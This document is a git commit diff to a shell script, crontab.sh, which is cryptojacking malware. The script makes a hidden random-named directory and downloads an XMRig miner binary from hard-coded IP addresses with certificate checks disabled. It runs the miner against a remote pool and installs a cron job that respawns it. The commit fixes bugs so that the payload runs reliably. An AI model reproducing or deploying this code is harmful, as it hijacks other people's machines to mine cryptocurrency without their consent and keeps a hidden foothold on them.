asd 1 year ago
parent
commit
c9e484c2ef
  1. 20
      crontab.sh

20
crontab.sh

@ -31,14 +31,14 @@ if [ $ARCH == "x86_64" ]; then
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5)
mkdir $dir
cd $dir
path="$path/$dir"
path="$real_path/$dir"
salt=$(head /dev/urandom | tr -dc a-z | head -c 7)
conf=$(head /dev/urandom | tr -dc a-z | head -c 1)
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2)
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 6)
name=$(head /dev/urandom | tr -dc a-z | head -c 3)
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/$x -O $name 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/$x -o $name
if [ ! -f "$path/$name" ]; then
if [ ! -s "$path/$name" ]; then
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/$x -O $name 2>/dev/null; then
curl -ks http://208.113.133.62/.test/$x -o $name
fi
@ -47,28 +47,28 @@ if [ $ARCH == "x86_64" ]; then
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 -O $conf 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o $conf
fi
if [ -f "$path/$name" ]; then
if [ -s "$path/$name" ]; then
chmod 777 $name
log=$path/.log
echo "#!/bin/bash" > $m
if [ ! -f "$path/10" ]; then
if [ ! -s "$path/$conf" ]; then
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
salt="pool"
else
sed "s/BBBBBBB/$salt/" -i 10
sed "s/BBBBBBB/$salt/" -i $conf
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name -c $path/$conf -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
fi
chmod 777 $m
(crontab -l; echo "*/60 * * * * $m") | crontab -
echo "{'salt':'$salt', 'path':'$path', 'autorun':'$m','xmrig':'$name', 'conf':'$conf', 'OS':'$OS', 'ARCH':'$ARCH', 'error':''}";
echo "{\"salt\":\"$salt\", \"path\":\"$path\", \"autorun\":\"$m\",\"xmrig\":\"$name\", \"conf\":\"$conf\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\", \"error\":\"\"}";
else
echo "{'error':'access', 'OS':'$OS', 'ARCH':'$ARCH'}"
echo "{\"error\":\"access\", \"path\":\"$path\", \"autorun\":\"$m\", \"xmrig\":\"$name\", \"conf\":\"$conf\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\"}"
fi
fi
else
echo "{'error':'OS', 'OS':'$OS', 'ARCH':'$ARCH'}"
echo "{\"error\":\"OS\", \"OS\":\"$OS\", \"ARCH\":\"$ARCH\"}"
fi
else
echo "{'error':'ARCH', 'ARCH':'$ARCH'}"
echo "{\"error\":\"ARCH\", \"ARCH\":\"$ARCH\"}"
fi

Loading…
Cancel
Save